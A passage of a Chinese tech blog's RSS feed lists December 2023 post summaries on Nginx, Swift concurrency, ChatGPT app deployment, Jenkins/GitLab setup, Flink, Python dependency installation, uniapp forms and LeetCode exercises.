      <description>参考：&#xA;B站《30分钟Nginx入门教程》&#xA;目录 反向代理反向代理和正向代理的区别 负载均衡虚拟主机 nginx是一个web服务器。 反向代理 反向代理和正向代理的区别 正向代理：代理客户端&#xA;反向代理：代理服务端&#xA;举个例子：&#xA;1正向代理：访问国外网站时，由于网络的原因无法访问，使用vpn这种代理服务器作为客户端进行访问。vpn就是正向代理，这个过程对于服务器来说客户端是透明的。&#xA;2反向代理：访问谷歌时，后面有成千上万的服务器，但是对外只暴露一个域名，我们只能访问这个域名，然后请求会被转发到后面的服务器上（隐藏真实的服务器ip端口）。这个过程对于客户端是透明的。&#xA;负载均衡 通过指定的算法把不同的请求转发到不同的服务器上。&#xA;虚拟主机 在网站访问量不大的情况下，一个nginx服务，可以同时提供多个网站的访问。（即正常情况下，一个nginx服务器提供一个网站的服务。现在一个nginx提供多个网站的服务）。&#xA;http { # 其他全局配置 server { listen 80; server_name example.com www.example.com; location / { root /path/to/website; index index.html; } # 可以添加其他配置，如日志、SSL证书等 } server { listen 80; server_name anotherdomain.com; location / { root /path/to/another/website; index index.html; } # 可以添加其他配置，如日志、SSL证书等 } # 其他http块配置 } 上面的例子中，有两个server块，分别配置了两个虚拟主机，分别对应两个不同的域名example.com和anotherdomain.com。每个server块可以有自己的根目录、索引文件、日志配置等。根据实际需求，还可以添加SSL证书配置以启用HTTPS等其他设置。</description>
    </item>
    <item>
      <title>Swift并发的结构化编程</title>
      <link>https://bchobby.github.io/posts/94bcd5702782b3f5e4d828f65ca63fc2/</link>
      <pubDate>Thu, 28 Dec 2023 13:42:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94bcd5702782b3f5e4d828f65ca63fc2/</guid>
      <description>并发（concurrency） 早期的计算机 CPU 都是单核的，操作系统为了达到同时完成多个任务的效果，会将 CPU 的执行时间分片，多个任务在同一个 CPU 核上按时间先后交替执行。由于 CPU 执行速度足够地快，给人的错觉就像在同时执行多个任务。这种通过不同任务的指令切换来实现多任务的技术，称为「concurrency」，中文术语为「并发」。&#xA;后来，CPU 发展到两核、多核，同一个时刻，在不同的核上可以执行不同的任务。理论上，有 N 个 CPU 核即可同时不受干扰地在 N 个核上都完全独立运行一个任务。这种通过在不同 CPU核 上运行多任务的技术称为「parallel」，中文术语为「并行」。&#xA;现代操作系统的进程和线程调度已经完全屏蔽了这两种多任务技术的差异。大部分情况下，开发者不需要关心两个任务到底是在不同的 CPU 核上执行还是在一个 CPU 核的不同时间分片上执行。因此，在很多技术文档中，也常常使用「concurrency」一词表示多个任务同时进行这种特性，用于充分利用 计算机 系统的多核处理器，提高程序的性能和效率。&#xA;结构化编程 在我们开始学习 C 语言时，尽量不用或少用 goto 语句。尽管 C 语言规范已经限制了 goto 必须在本函数内部跳转，但使用 goto 语句仍然有着很大的不确定性：它可以跳转到函数中的任意位置。想象一下，如果函数中大量使用 goto 语句会是什么样的景象。如果你曾经了解过汇编语言，那么一定对汇编语言的看似排列整齐实则包含各种跳转的逻辑深恶痛觉，开发者必须一个语句一个语句地分析，小心翼翼地探索才能理清其中关系。过度使用 goto 会和使用汇编面临一样的问题。&#xA;好在现代编程语言早就经过了早期的洪荒时代，几乎每一种现代编程语言都会包含函数、条件语句、循环等基本要素。这些我们早已习以为常的代码逻辑，恰恰正是体现「结构化编程」的良好范例：使用函数、条件语句、循环等的代码的控制流总是单一的，不会出现类似 goto 这样的无法预知跳转到哪里的「分叉」。&#xA;「结构化编程」的核心思想就是代码的抽象和封装，确保程序运行路径总是从单一入口进入，执行结束后在单一出口退出，不会有第二种情况。以函数为例，不管函数中实现了多么复杂的逻辑，调用方根本不需要关心函数内部是如何实现的，当调用发生时，执行控制权交给该函数，无论是否发生错误、是否存在未能准备好的资源，该函数一定会在未来的某一个时刻返回结果并将执行控制权交还给调用方。&#xA;我们一直在享受现代编程语言「结构化编程」提供的便利，在我们日常开发的同步代码中，随处可见「结构化编程」的影子。&#xA;非结构化并发 在单线程编程中，借助函数、条件判断等控制流使得「结构化编程」早已司空见惯；但在并发编程中，涉及到线程和并发任务的切换，就没有那么容易实现「结构化」了。事实上，在过去的很长一段时间，「非结构化并发」仍然是主流。&#xA;非结构化并发最明显的问题就是很多时候会浪费 CPU 算力。当线程进入到耗时 I/O 操作时就处于阻塞状态，必须等待 I/O 操作完成，当很多线程都出现这种状态时，CPU 实际上就处于低负载或空闲状态而造成算力的浪费 - 空闲的算力本可以用来执行其他计算任务。&#xA;另外，非结构化并发将会异步调用多出一个一个的执行分支，这些分支并没有像函数调用那样有一个统一的出口，也没有办法将并发任务的执行结果或错误信息在调用者的线程上下文中回传。来看一个使用「非结构化并发」的示例：&#xA;func task0() { print(&#34;in task0&#34;) } func task1() { DispatchQueue.</description>
    </item>
    <item>
      <title>ChatGPT爆火一周年，快来拥有专属你的ChatGPT应用！</title>
      <link>https://bchobby.github.io/posts/8218cccd020617c73a56d473f6c269f4/</link>
      <pubDate>Thu, 28 Dec 2023 13:38:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8218cccd020617c73a56d473f6c269f4/</guid>
      <description>推荐阅读 给软件行业带来了春天——揭秘Spring究竟是何方神圣（一）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（二）&#xA;轻松驾驭JDBC：一篇文章帮你搞定数据库连接&#xA;文章目录 推荐阅读前言准备工作部署步骤安装基础环境安装宝塔部署注意点关于服务器关于域名 完成 前言 在过去的一年中，有一个名字在科技界引起了热烈的讨论和广泛的关注——那就是ChatGPT。ChatGPT以其无与伦比的语言理解和生成能力，以及其独特的交互方式，已经赢得了全球数百万用户的热烈欢迎和深深的信任。而这篇文章将为你提供详细的步骤，指导你如何部署你自己的ChatGPT应用。&#xA;准备工作 一台服务器（国内，国外都可以，优先国外服务器） 服务器基础规格：&#xA;至少有1个CPU至少有512MB内存至少有10GB的硬盘空间服务器安装的系统Ubuntu,Centos，Debian都行，版本尽量新一点。（这里以Debian10为例） 你的私人电脑（笔记本等）魔法上网工具（可选）github账号（可选）&#xA;部署步骤 安装基础环境 打开电脑，使用ssh连接工具（市面上常见的都行，这里以mobaxterm为例） 输入自己服务器的域名和密码，即可连接成功 连上服务器后，将服务器原有的基本的东西升级安装一下。 sudo apt-get update sudo apt-get upgrade 出现个小插曲，找不到该命令。执行以下代码：apt-get install sudo 更新源为国内镜像，这里选用阿里的源。 deb https://mirrors.aliyun.com/debian/ bullseye main non-free contrib deb-src https://mirrors.aliyun.com/debian/ bullseye main non-free contrib deb https://mirrors.aliyun.com/debian-security/ bullseye-security main deb-src https://mirrors.aliyun.com/debian-security/ bullseye-security main deb https://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib deb-src https://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib deb https://mirrors.aliyun.com/debian/ bullseye-backports main non-free contrib deb-src https://mirrors.aliyun.com/debian/ bullseye-backports main non-free contrib 在更新源之前，先备份一下sources.</description>
    </item>
    <item>
      <title>javaWeb期末作业，实现了登录注册分页和crud功能还加了过滤器以及验证码功能</title>
      <link>https://bchobby.github.io/posts/320d8061e4289882fb16bf2b83678624/</link>
      <pubDate>Thu, 28 Dec 2023 13:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/320d8061e4289882fb16bf2b83678624/</guid>
      <description>连接获取：&#xA;链接：https://pan.baidu.com/s/1dWdTTYxgu874AavOe8XkWQ&#xA;提取码：1234&#xA;登录界面：加了注册功能和验证码功能。&#xA;注册页面：&#xA;登录进去后，简单的增删改查功能都有</description>
    </item>
    <item>
      <title>Hbuilder运行小程序在微信开发者工具打开报错：工具的服务端口已关闭。要使用命令行调用工具，请在下方输入 y 以确认开启，或手动打开工具 -＞ 设置 -＞ 安全设置，将服务端口开启。</title>
      <link>https://bchobby.github.io/posts/11e30aa09d6d1d483c5582c4cbdbec01/</link>
      <pubDate>Thu, 28 Dec 2023 12:28:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11e30aa09d6d1d483c5582c4cbdbec01/</guid>
      <description>1.问题描述：&#xA;2.解决&#xA;手动设置打开服务端口。&#xA;注意！！！是在微信开发者工具打开安全设置开启服务端口。我一直以为是在Hbuilder打开，死活找不到安全设置在哪里，浪费了很多时间QAQ&#xA;打开微信开发者工具，右上角小齿轮&#xA;已经在微信开发者工具打开项目的，在这里找“设置”</description>
    </item>
    <item>
      <title>2023-飞速成长的一年</title>
      <link>https://bchobby.github.io/posts/b7358fac34e9d29294bdc1a1682bb3d6/</link>
      <pubDate>Thu, 28 Dec 2023 12:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7358fac34e9d29294bdc1a1682bb3d6/</guid>
      <description>回顾2023 2023年成为了一个充满魔幻色彩的一年，虽然行业面临衰退，未来充满迷茫，但正是这些压力促使我更快地成长。&#xA;2月中旬入职开始，先后完成了一些学习任务： Spring Cloud Alibaba Demo学习 作者:B站图灵学院周瑜 前端Vue学习-达成目标Vue2.X、3.X工作中会抄，能满足日常需求 《微服务架构设计模式》作者:克里斯·理查森 该书深入介绍了微服务架构的设计模式，非常适合从单体升级到微服务的小伙伴阅读，包含了多种微服务架构设计和最佳实践，更为难得的是其中包含了许多作者对于方案的思考 《Seckill秒杀系统》作者:冰河 该专栏可以学到如 系统混合型缓存架构的设计与实现、系统限流思想与方案、系统风控模型架构设计与实现、单库存热点问题与方案等等企业级高并发解决方案 《高并发架构实战课》作者:李智慧 该专栏提供了许多高并发情况下系统架构的方案 《深入理解java虚拟机》前6章 作者:周志明 该书前六章令我对GC有了新的认识，同时对Java虚拟机的内部机制和运行原理有了更深入的了解 《分布式协议与算法实战》作者:韩健 该书介绍了分布式系统中常见的协议和算法，并提供了实战经验。这对于理解分布式系统的设计和实现是非常重要的，毫不夸张的说：令我茅塞顿开，打开了新世界的大门 《实战高并发设计模式》作者:冰河 该专栏让我对处理复杂的并发任务有了更深入的理解，让我对并发编程有了更全面的认识，期待将这些新知识应用到实际工作中，更有效地优化系统性能 《从Paxos到ZooKeeper》作者:倪超 该书以分布式一致性理论为起点，介绍了Paxos和ZAB协议，继而引出ZooKeeper，全面介绍了ZK的实际应用场景 以及 其内部实现原理 星球社区：Tom、不才陈某 艾小仙等博主部分专栏与博客 微信公众号：诸多大厂优秀文章阅读 在这短短的一年里，我的成长飞速迸发，深感行业前辈们经典著作的引领与时常交流的小伙伴们的启发对我的发展产生了积极的推动作用。&#xA;感激这段时光里得到的指引与支持，让我更加坚定地走在成长的道路上。&#xA;拥抱2024 暂定阅读清单： 《左耳听风》作者:陈皓 《算法秘籍》作者:王一博 《labuladong的算法笔记》作者:付东来 《Kong网关入门、实战、进阶》作者:孔庆雍 《数据密集型应用系统设计》作者:Martin Kleppmann 《计算》作者:吴瀚清 《Elasticsearch数据搜索与数据分析》作者:王深湛 《Redis设计与实现》作者:黄健宏 2024目标： 数据结构、算法扫盲及略微深入、深入研究Redis、大数据扫盲[结合业务理解相关设计方案]&#xA;最后：砥砺前行，不负韶华，共勉</description>
    </item>
    <item>
      <title>西北大学844计算机类考研-25级初试高分总攻略</title>
      <link>https://bchobby.github.io/posts/c2ad411292416a809f92ce593dc00fd0/</link>
      <pubDate>Thu, 28 Dec 2023 12:13:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2ad411292416a809f92ce593dc00fd0/</guid>
      <description> 西北大学844计算机类考研-25级初试高分攻略 个人介绍 ​ 本人是西北大学22级软件工程研究生，考研专业课129分，过去一年里在各大辅导机构任职，辅导考研学生专业课844，辅导总时长达400小时，辅导学生超过20余人，自编844考研笔记已经帮助百余名学子。&#xA;版本更新 ​ 在23级、24级考研过程中，我陆续整理了第一版和第二版844考研笔记，笔记主要内容来源是844、851往年真题以及我给学生上课所整理的课件，通过400小时的辅导以及百余名学子的反馈，近两年对笔记不断优化，题目以及答案不断优化，已经逐步形成了249页的、比较专业的844考研笔记。&#xA;专业课高分经验分享 本人目前辅导超过20余名学生，总结科学复习844经验如下：&#xA;前期学习过程：前期学习的过程可以先看王道视频，计网、操作系统、数据结构等。&#xA;中期刷题过程：1.数据结构本套笔记完全够刷，后续可补充耿国华课本每章节后的典型与提高以及课本例题即可；2.操作系统资料里有近十年真题以及典型例题，后续刷题可根据典型例题再去多找找类似的计算题做一下；3.计算机网络主要是考计算题，本套资料整理了9大类计算题，后续可针对性的找找这9类题进行训练。&#xA;后期复习过程:临考试前两个月不需要再刷任何新题，对刷过的题进行反复记忆、理解、背诵。本套资料里有很多背诵性的概念题考点也有844常考的50道代码题，反复刷资料以及中期补充的计算题即可！&#xA;经过前期、中期、后期科学复习，844计算机类综合初试125+ 不是什么问题！&#xA;2025版笔记特点 结构清晰、答案规范、图表清晰、纯键盘输入、格式优美、11万字(共249页)&#xA;真题全面、涉及数据结构、计算机网络、操作系统能找到的所有真题。归纳了网数院845的计算机网络真题、3年的西北大学计算机网络期末题。还有给某机构出的两套844考研卷及详细解析&#xA;解析全面，力求准确，对真题答案不断进行优化，已经过百余名学子的检验，感谢大家反馈的意见，已优化。&#xA;需要资料者，或者对资料里题目或者答案感觉有问题，欢迎随时咨询，vx：hello_chiyi&#xA;本笔记适用考研人群：西北大学-计算机科学与技术(学硕-081200)； 西北大学-软件工程(学硕-083500)；西北大学-软件工程(专硕-085405)&#xA;个人认为本笔记的突出作用 帮助844考研学子获得更多844的相关信息，打破自命题信息壁垒。对历年真题进行了详细解析，格式优美，纯机打，考研学生不必为各种错误答案烦恼，节省大家搜索时间。对844初试涉及的所有知识点进行了整理，大家不用浪费时间再去自己整理，节省大家总结时间以及降低试错成本。 2025级（第三版资料）优化内容 资料相关图片 资料封面 目录1 目录2 目录3 内容节选 内容节选 内容节选 </description>
    </item>
    <item>
      <title>【教程】自动检测和安装Python脚本依赖的第三方库</title>
      <link>https://bchobby.github.io/posts/c86fc415634641d560d033c1915c6b13/</link>
      <pubDate>Thu, 28 Dec 2023 11:47:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c86fc415634641d560d033c1915c6b13/</guid>
      <description>转载请注明出处：小锋学长生活大爆炸[xfxuezhang.cn]&#xA;背景说明 对于新python环境，要运行某个脚本，可能需要安装很多库，一般可以通过提供的requirements.txt来自动安装。但如果没有这个txt，那就得手动一个一个安装，非常的麻烦。&#xA;通过捕捉ImportError错误，实际上可以从错误消息中提取缺失的模块名称，而一旦确定了缺失的模块名称，就可以使用 pip 自动安装它们了。&#xA;参考脚本 autoDependencyInstaller.py&#xA;import argparse import subprocess import sys import re def install_module(module_name, python_executable): try: subprocess.check_call([python_executable, &#34;-m&#34;, &#34;pip&#34;, &#34;install&#34;, module_name]) return True except subprocess.CalledProcessError: return False def extract_imports(file_name): with open(file_name, &#39;r&#39;) as file: file_content = file.read() imports = re.findall(r&#39;^(?:from\s+(\S+)|import\s+(\S+))(?:\s+|$)&#39;, file_content, re.MULTILINE) top_level_modules = {imp[0].split(&#39;.&#39;)[0] if imp[0] else imp[1].split(&#39;.&#39;)[0] for imp in imports} return list(top_level_modules) def check_module(module, python_executable): try: subprocess.check_call([python_executable, &#34;-c&#34;, f&#34;import {module}&#34;]) return True except subprocess.</description>
    </item>
    <item>
      <title>Flink实时电商数仓之DWS层</title>
      <link>https://bchobby.github.io/posts/c0192380c44080379a5ea5fb66c97e5c/</link>
      <pubDate>Thu, 28 Dec 2023 11:45:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0192380c44080379a5ea5fb66c97e5c/</guid>
      <description>需求分析 关键词&#xA;统计关键词出现的频率 IK分词 进行分词需要引入IK分词器，使用它时需要引入相关的依赖。它能够将搜索的关键字按照日常的使用习惯进行拆分。比如将苹果iphone 手机，拆分为苹果，iphone, 手机。&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.doris&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;flink-doris-connector-1.17&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.janeluo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;ikanalyzer&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 测试代码如下：&#xA;public class IkUtil { public static void main(String[] args) throws IOException { String s = &#34;Apple 苹果15 5G手机&#34;; StringReader stringReader = new StringReader(s); IKSegmenter ikSegmenter = new IKSegmenter(stringReader, true);//第二个参数表示是否再对拆分后的单词再进行拆分，true时表示不在继续拆分 Lexeme next = ikSegmenter.next(); while (next!= null) { System.out.println(next.getLexemeText()); next = ikSegmenter.next(); } } } 整体流程 创建自定义分词工具类IKUtil，IK是一个分词工具依赖创建自定义函数类注册函数消费kafka DWD页面主题数据并设置水位线从主流中过滤搜索行为 page[‘item’] is not nullitem_type : “keyword”last_page_id: “search” 使用分词函数对keyword进行拆分对keyword进行分组开窗聚合写出到doris 创建doris sinkflink需要打开检查点才能将数据写出到doris 具体实现 import com.</description>
    </item>
    <item>
      <title>Centos7：Jenkins&#43;gitlab&#43;node项目启动(2)</title>
      <link>https://bchobby.github.io/posts/88cc67112b1d667964e2b70ab5c1ac4e/</link>
      <pubDate>Thu, 28 Dec 2023 11:37:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88cc67112b1d667964e2b70ab5c1ac4e/</guid>
      <description>Centos7：Jenkins+gitlab+node项目启动(1)&#xA;Centos7：Jenkins+gitlab+node项目启动(1)-CSDN博客&#xA;Centos7：Jenkins+gitlab+node项目启动(2)&#xA;Centos7：Jenkins+gitlab+node项目启动(2)-CSDN博客&#xA;Centos7：Jenkins+gitlab+node项目启动(3)&#xA;Centos7：Jenkins+gitlab+node项目启动(3)-CSDN博客&#xA;安装gitlab 编辑文件(新建) vim /etc/yum.repos.d/gitlab-ce.repo&#xA;[gitlab-ce] name=Gitlab CE Repository baseurl=https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el$releasever/ gpgcheck=0 enabled=1 安装 yum install gitlab-ce&#xA;缓存 yum makecache&#xA;常用指令 gitlab-ctl start # 启动所有 gitlab 组件； gitlab-ctl stop # 停止所有 gitlab 组件； gitlab-ctl restart # 重启所有 gitlab 组件； gitlab-ctl status # 查看服务状态； gitlab-ctl reconfigure # 启动服务； vim /etc/gitlab/gitlab.rb # 修改默认的配置文件； gitlab-rake gitlab:check SANITIZE=true --trace # 检查gitlab； sudo gitlab-ctl tail # 查看日志； 修改配置 vim /etc/gitlab/gitlab.rb</description>
    </item>
    <item>
      <title>Centos7：Jenkins&#43;gitlab&#43;node项目启动(3)</title>
      <link>https://bchobby.github.io/posts/c7d6b98ac08fcb17c6e126da886c48a9/</link>
      <pubDate>Thu, 28 Dec 2023 11:37:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7d6b98ac08fcb17c6e126da886c48a9/</guid>
      <description>Centos7：Jenkins+gitlab+node项目启动(1)&#xA;Centos7：Jenkins+gitlab+node项目启动(1)-CSDN博客&#xA;Centos7：Jenkins+gitlab+node项目启动(2)&#xA;Centos7：Jenkins+gitlab+node项目启动(2)-CSDN博客&#xA;Centos7：Jenkins+gitlab+node项目启动(3)&#xA;Centos7：Jenkins+gitlab+node项目启动(3)-CSDN博客&#xA;node项目启动 项目上传(window下的git) git add.&#xA;git commit -m &#34;首次提交&#34;&#xA;git push&#xA;登录gitLab网页查看 登录Jenkins 新建Item http://192.168.2.77:8080/&#xA;输入一个任务名字&#xA;构建一个自由风格的软件项目&#xA;配置参数 丢弃旧的构建 注1：随意配置一下吧 不然太多的话肯定也不好&#xA;源码管理（选择git ） 注1：分支要正确&#xA;构建触发器 注1：来吧 勾选一个最长的 别问为什么&#xA;构建环境 注1：每次构建的时候 把之前的目录删掉&#xA;构建环境 选择shell脚本构建&#xA;构建 pwd;&#xA;chmod 775 xl_start_project.sh;&#xA;./xl_start_project.sh&#xA;注1：第一行就是显示一下路径吧 方便你去查看代码 有没拉取下来&#xA;注2：xl_start_project.sh 是我项目的启动脚本 先改下权限吧&#xA;注3：启动项目&#xA;立即构建 查看构建情况 可以看到 之前的3条指令 都执行了&#xA;查看代码 注1：之前的pwd 用上了吧&#xA;shell 脚本 #!/bin/bash npm install cd src pm2 start app.json 注1：install一下 然后启动项目啊 ==&amp;gt; 利用了pm2 的守护</description>
    </item>
    <item>
      <title>Maven导入org.apache.commons.lang3.StringUtils</title>
      <link>https://bchobby.github.io/posts/e8220329b5f7c1de77141b68a19a3872/</link>
      <pubDate>Thu, 28 Dec 2023 11:34:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8220329b5f7c1de77141b68a19a3872/</guid>
      <description> Maven导入org.apache.commons.lang3.StringUtils Maven导入org.apache.commons.lang3.StringUtils Maven导入org.apache.commons.lang3.StringUtils pom.xml中加入以下内容&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.commons&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-lang3&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 1234567 </description>
    </item>
    <item>
      <title>【数据结构和算法】找出两数组的不同</title>
      <link>https://bchobby.github.io/posts/b6befff3f2f65233b1682bb0253586c3/</link>
      <pubDate>Thu, 28 Dec 2023 11:33:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6befff3f2f65233b1682bb0253586c3/</guid>
      <description>其他系列文章导航 Java基础合集&#xA;数据结构与算法合集&#xA;设计模式合集&#xA;多线程合集&#xA;分布式合集&#xA;ES合集&#xA;文章目录 其他系列文章导航&#xA;文章目录&#xA;前言&#xA;一、题目描述&#xA;二、题解&#xA;2.1 哈希类算法题注意事项&#xA;2.2 方法一：哈希法&#xA;三、代码&#xA;3.1 方法一：哈希法&#xA;四、复杂度分析&#xA;4.1 方法一：哈希法&#xA;前言 这是力扣的 2215 题，难度为简单，解题方案有很多种，本文讲解我认为最奇妙的一种。&#xA;一、题目描述 给你两个下标从 0 开始的整数数组 nums1 和 nums2 ，请你返回一个长度为 2 的列表 answer ，其中：&#xA;answer[0] 是 nums1 中所有 不 存在于 nums2 中的 不同 整数组成的列表。answer[1] 是 nums2 中所有 不 存在于 nums1 中的 不同 整数组成的列表。 注意：列表中的整数可以按 任意 顺序返回。&#xA;示例 1：&#xA;输入：nums1 = [1,2,3], nums2 = [2,4,6] 输出：[[1,3],[4,6]] 解释： 对于 nums1 ，nums1[1] = 2 出现在 nums2 中下标 0 处，然而 nums1[0] = 1 和 nums1[2] = 3 没有出现在 nums2 中。因此，answer[0] = [1,3]。 对于 nums2 ，nums2[0] = 2 出现在 nums1 中下标 1 处，然而 nums2[1] = 4 和 nums2[2] = 6 没有出现在 nums2 中。因此，answer[1] = [4,6]。 示例 2：</description>
    </item>
    <item>
      <title>uniapp多级动态表单规则</title>
      <link>https://bchobby.github.io/posts/0ce9d350b6496f6f52ce911e925ccf1d/</link>
      <pubDate>Thu, 28 Dec 2023 11:25:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ce9d350b6496f6f52ce911e925ccf1d/</guid>
      <description>最近有个新的业务、主要涉及多层级的动态表单提交，其中又涉及很多类型，踩了很多坑之后，终于研发完毕。&#xA;传来的数据格式处理 传来的数据格式涉及比较多的内容，以下举例一个，涉及到规则的填写&#xA;规则写法有两种，一种是直接在表单里添加规则，一种是在字段中添加规则&#xA;表单里规则添加，以下是第一级的写法 我这里字段的定义是因为有其他数据要一并提交，可按照自己需求来&#xA;1、字段里label-width我设定的是300，是因为会有比较长的字段。根据返回文本，自行调节&#xA;2、：name字段主要是为了寻找key值，这个必填，&#xA;dynamicLists为数组,index为数组下标位置，value&#xA;&amp;lt;uni-forms ref=&#34;dynamicForm&#34; :modelValue=&#34;dynamicFormData&#34; label-position=&#34;top&#34; label-width=&#34;300px&#34;&amp;gt; &amp;lt;view v-for=&#34;(item, index) in dynamicFormData.dynamicLists&#34; :key=&#34;item.inspectionItemId&#34;&amp;gt; &amp;lt;uni-forms-item :label=&#34;index+1+&#39;.&#39;+ide+1+&#39;、&#39;+ite.itemName&#34; label-width=&#34;100%&#34; :rules=&#34;[{required: true,errorMessage: &#39;请填写&#39;}]&#34; :name=&#34;[&#39;dynamicLists&#39;,index,&#39;value&#39;]&#34; required&amp;gt; &amp;lt;uni-data-checkbox v-model=&#34;dynamicFormData.dynamicLists[index].value&#34; :localdata=&#34;ite.itemValueList&#34; /&amp;gt;&#x9;&amp;lt;/uni-forms-item&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/uni-forms&amp;gt; &amp;lt;script&amp;gt; export default { data(){ return{ dynamicFormData:{ dynamicLists:[], } } } } &amp;lt;/script&amp;gt; 第二种规则里填写 首先要对数据处理&#xA;在数据里添加rules规则&#xA;rules: [{ &#39;required&#39;: true, errorMessage: &#34;请填写&#34; + this.detail[i].itemName//这里写你想校验的内容 }], this.detail是我从后台返回的数据，其中内容做了处理。按照自己的值编辑&#xA;this.dynamicFormData.dynamicLists.push({ label: this.detail[i].itemName, value: &#34;&#34;, itemType: this.detail[i].itemType, rules: [{ &#39;required&#39;: true, errorMessage: &#34;</description>
    </item>
    <item>
      <title>用Html和js和layui写一个简单猜拳小游戏</title>
      <link>https://bchobby.github.io/posts/04e6a34ed158eedbadd65b889ad13251/</link>
      <pubDate>Thu, 28 Dec 2023 11:18:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04e6a34ed158eedbadd65b889ad13251/</guid>
      <description>简单学习技术，写了一个小游戏，用html和js写一个简单的小游戏。玩家点击按钮出拳，玩家胜利结果显示绿色，玩家输了结果显示红色，平局结果显示蓝色。&#xA;页面效果： 代码： &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;石头、剪刀、布 小游戏&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;../layui/css/layui.css&#34; media=&#34;all&#34;&amp;gt; &amp;lt;style&amp;gt; /* 添加样式以中心布局两个游戏并增加一些间距 */ .game-container { text-align: center; margin: 5% auto; } .game-container &amp;gt; button { margin: 0 5px; /* 添加按钮间距 */ } #result, #message { margin: 20px 0; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;game-container&#34;&amp;gt; &amp;lt;h1&amp;gt;石头、剪刀、布 小游戏&amp;lt;/h1&amp;gt; &amp;lt;div id=&#34;choices&#34;&amp;gt; &amp;lt;button onclick=&#34;play(&#39;石头&#39;)&#34; class=&#34;layui-btn layui-btn-primary layui-border-blue&#34;&amp;gt;石头&amp;lt;/button&amp;gt; &amp;lt;button onclick=&#34;play(&#39;布&#39;)&#34; class=&#34;layui-btn layui-btn-primary layui-border-orange&#34;&amp;gt;布&amp;lt;/button&amp;gt; &amp;lt;button onclick=&#34;</description>
    </item>
    <item>
      <title>We are a team - 华为OD统一考试</title>
      <link>https://bchobby.github.io/posts/93d476a9ad93a96bd8f5735d6b76670a/</link>
      <pubDate>Thu, 28 Dec 2023 11:17:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93d476a9ad93a96bd8f5735d6b76670a/</guid>
      <description>OD统一考试&#xA;题解： Java / Python / C++&#xA;题目描述 总共有 n 个人在机房，每个人有一个标号 (1&amp;lt;=标号&amp;lt;=n) ，他们分成了多个团队，需要你根据收到的 m 条消息判定指定的两个人是否在一个团队中，具体的:&#xA;消息构成为 a b c，整数 a、b 分别代表两个人的标号，整数 c 代表指令。c== 0 代表a和b在一个团队内。c == 1 代表需要判定 a 和b 的关系，如果 a和b是一个团队，输出一行&#34;we are a team&#34;,如果不是，输出一行&#34;we are not a team&#34;。c 为其他值，或当前行a或b 超出 1~n 的范围，输出 “da pian zi”。 输入描述 第一行包含两个整数 n，m(1&amp;lt;=n.m&amp;lt;=100000).分别表示有n个人和 m 条消息。随后的 m 行，每行一条消息，消息格式为: a b c (1&amp;lt;=a,b&amp;lt;=n, 0&amp;lt;=c&amp;lt;=1) 输出描述 c ==1.根据 a 和 b 是否在一个团队中输出一行字符串,在一个团队中输出 “we are a team”, 不在一个团队中输出 “we are not a team”。c 为其他值，或当前行 a 或 b 的标号小于 1 或者大于 n 时，输出字符串 “da pian zi”。如果第一行 n 和 m的值超出约定的范围时，输出字符串&#34;</description>
    </item>
    <item>
      <title>【数据结构和算法】寻找数组的中心下标</title>
      <link>https://bchobby.github.io/posts/1276e28cc7b57e4ab086982fab635acc/</link>
      <pubDate>Thu, 28 Dec 2023 11:16:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1276e28cc7b57e4ab086982fab635acc/</guid>
